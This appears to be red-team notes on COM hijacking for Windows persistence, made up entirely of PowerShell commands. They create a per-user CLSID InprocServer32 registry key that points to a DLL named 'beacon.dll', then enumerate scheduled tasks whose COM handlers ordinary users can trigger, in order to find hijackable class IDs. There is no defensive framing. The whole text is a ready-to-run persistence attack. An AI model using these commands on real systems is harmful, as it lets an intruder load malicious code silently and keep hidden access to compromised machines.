COM Hijacking

PS> Get-Item -Path "HKLM:\Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32"

PS> Get-Item -Path "HKCU:\Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32"

PS> New-Item -Path "HKCU:Software\Classes\WOW6432Node\CLSID" -Name "{06622D85-6856-4460-8DE1-A81921B41C4B}"

PS> New-Item -Path "HKCU:Software\Classes\WOW6432Node\CLSID\{06622D85-6856-4460-8DE1-A81921B41C4B}" -Name "InprocServer32" -Value "C:\beacon.dll"

PS> New-ItemProperty -Path "HKCU:Software\Classes\WOW6432Node\CLSID\{06622D85-6856-4460-8DE1-A81921B41C4B}\InprocServer32" -Name "ThreadingModel" -Value "Both"

$Tasks = Get-ScheduledTask
foreach ($Task in $Tasks)
{
  if ($Task.Actions.ClassId -ne $null)
  {
    if ($Task.Triggers.Enabled -eq $true)
    {
      if ($Task.Principal.GroupId -eq "Users")
      {
        Write-Host "Task Name: " $Task.TaskName
        Write-Host "Task Path: " $Task.TaskPath
        Write-Host "CLSID: " $Task.Actions.ClassId
        Write-Host
      }
    }
  }
}

PS C:\> Get-Item -Path "HKCU:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}"

PS C:\> Get-Item -Path "HKLM:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}"